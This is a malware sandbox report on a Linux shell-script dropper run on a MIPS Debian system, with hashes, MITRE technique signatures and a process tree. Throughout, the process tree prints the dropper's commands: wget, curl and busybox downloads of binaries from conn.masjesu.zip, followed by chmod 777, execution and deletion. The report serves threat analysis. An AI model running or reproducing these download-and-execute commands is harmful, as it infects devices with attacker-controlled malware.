2a4c10895a0ff94a31139e90825fb5e99a2bef069f1da9d91eda8f2c1f867494

Analysis

max time kernel
101s
max time network
104s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
07/11/2024, 01:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2ddd651e425f0aad7f97d89be2e012711eabc84fac77c0501721de401c7fb0e5.sh
Size 10KB
Sample241107-ca2qmstapp
SHA256 2ddd651e425f0aad7f97d89be2e012711eabc84fac77c0501721de401c7fb0e5
MD5 f21182e2c5ae40466b330b984fb89f98
SHA1 bb4469a0a487754bbdec0956fb61649d33e429c0
SHA512 926b62cd785c624315ff63789827c8e0e5649c685d1b541928d0de3135de76516d3e0a9cfc02f5259b6a11f4276ddb1483423fdf97d673fcf2ef4b4e16f59fcf
SSDEEP 96:YRKRCRb8oL7X9sOFlQLxCpmxtLwsBmpBqUb37SqULwOTwwOTswOTEOTTOTTOThMC:/LdXkUg1CSYGNDUg1CSFe
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
743	chmod
812	chmod
905	chmod
940	chmod
947	chmod
736	chmod
768	chmod
961	chmod
996	chmod
1003	chmod
829	chmod
926	chmod
933	chmod
954	chmod
989	chmod
863	chmod
919	chmod
891	chmod
982	chmod
877	chmod
884	chmod
856	chmod
975	chmod
912	chmod
968	chmod
898	chmod
801	chmod
870	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
747	curl
904	busybox
922	wget
965	curl
995	busybox
735	busybox
742	busybox
908	wget
950	wget
858	rm
860	curl
873	wget
881	curl
890	busybox
739	wget
805	wget
911	busybox
986	curl
732	curl
809	curl
855	busybox
883	busybox
902	curl
925	busybox
929	wget
946	busybox
746	wget
820	busybox
1002	busybox
939	busybox
943	wget
960	busybox
964	wget
923	curl
930	curl
1000	curl
955	E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
988	busybox
876	busybox
888	curl
936	wget
815	wget
847	curl
971	wget
979	curl
937	curl
957	wget
981	busybox
866	wget
895	curl
972	curl
862	busybox
901	wget
974	busybox
992	wget
816	curl
869	busybox
859	wget
894	wget
915	wget
918	busybox
932	busybox
953	busybox
712	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9	curl
File opened for modification	/tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX	curl
File opened for modification	/tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB	curl
File opened for modification	/tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF	curl
File opened for modification	/tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN	curl
File opened for modification	/tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK	curl
File opened for modification	/tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN	curl
File opened for modification	/tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK	curl
File opened for modification	/tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9	curl
File opened for modification	/tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs	curl
File opened for modification	/tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1	curl
File opened for modification	/tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb	curl
File opened for modification	/tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB	curl
File opened for modification	/tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI	curl
File opened for modification	/tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm	curl
File opened for modification	/tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs	curl
File opened for modification	/tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1	curl
File opened for modification	/tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ	curl
File opened for modification	/tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI	curl
File opened for modification	/tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF	curl
File opened for modification	/tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm	curl
File opened for modification	/tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF	curl
File opened for modification	/tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ	curl
File opened for modification	/tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX	curl
File opened for modification	/tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4	curl
File opened for modification	/tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb	curl
File opened for modification	/tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4	curl
File opened for modification	/tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF	curl

/tmp/2ddd651e425f0aad7f97d89be2e012711eabc84fac77c0501721de401c7fb0e5.sh
/tmp/2ddd651e425f0aad7f97d89be2e012711eabc84fac77c0501721de401c7fb0e5.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - System Network Configuration Discovery
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - System Network Configuration Discovery
  PID:735
- /bin/chmod
  chmod 777 Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  ./Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  PID:738
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - System Network Configuration Discovery
  PID:739
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/chmod
  chmod 777 V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  ./V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  PID:745
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - System Network Configuration Discovery
  PID:746
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  PID:763
- /bin/chmod
  chmod 777 Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  ./Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - Executes dropped EXE
  PID:769
- /bin/rm
  rm Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  PID:772
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  PID:794
- /bin/chmod
  chmod 777 qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  ./qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - Executes dropped EXE
  PID:802
- /bin/rm
  rm qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  PID:804
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - System Network Configuration Discovery
  PID:805
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  PID:811
- /bin/chmod
  chmod 777 Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  ./Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  PID:814
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - System Network Configuration Discovery
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - System Network Configuration Discovery
  PID:820
- /bin/chmod
  chmod 777 W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  ./W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  PID:833
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - System Network Configuration Discovery
  PID:855
- /bin/chmod
  chmod 777 E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  ./E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - System Network Configuration Discovery
  PID:858
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - System Network Configuration Discovery
  PID:859
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - System Network Configuration Discovery
  PID:862
- /bin/chmod
  chmod 777 MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  ./MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  PID:865
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - System Network Configuration Discovery
  PID:866
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/chmod
  chmod 777 EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  ./EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  PID:872
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - System Network Configuration Discovery
  PID:876
- /bin/chmod
  chmod 777 tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  ./tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  PID:879
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - System Network Configuration Discovery
  PID:883
- /bin/chmod
  chmod 777 fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  ./fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  PID:886
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - System Network Configuration Discovery
  PID:890
- /bin/chmod
  chmod 777 U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  ./U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  PID:893
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - System Network Configuration Discovery
  PID:894
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  PID:897
- /bin/chmod
  chmod 777 Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  ./Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - System Network Configuration Discovery
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  ./XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  PID:907
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - System Network Configuration Discovery
  PID:908
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - System Network Configuration Discovery
  PID:911
- /bin/chmod
  chmod 777 Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  ./Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
  2⤵
  PID:914
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/chmod
  chmod 777 V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  ./V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
  2⤵
  PID:921
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - System Network Configuration Discovery
  PID:925
- /bin/chmod
  chmod 777 Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  ./Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
  2⤵
  PID:928
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - System Network Configuration Discovery
  PID:929
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - System Network Configuration Discovery
  PID:932
- /bin/chmod
  chmod 777 qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  ./qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
  2⤵
  PID:935
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - System Network Configuration Discovery
  PID:936
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - System Network Configuration Discovery
  PID:939
- /bin/chmod
  chmod 777 Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  ./Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
  2⤵
  PID:942
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - System Network Configuration Discovery
  PID:943
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - System Network Configuration Discovery
  PID:946
- /bin/chmod
  chmod 777 W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  ./W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
  2⤵
  PID:949
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - System Network Configuration Discovery
  PID:950
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - System Network Configuration Discovery
  PID:953
- /bin/chmod
  chmod 777 E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  ./E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:955
- /bin/rm
  rm E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
  2⤵
  PID:956
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - System Network Configuration Discovery
  PID:957
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
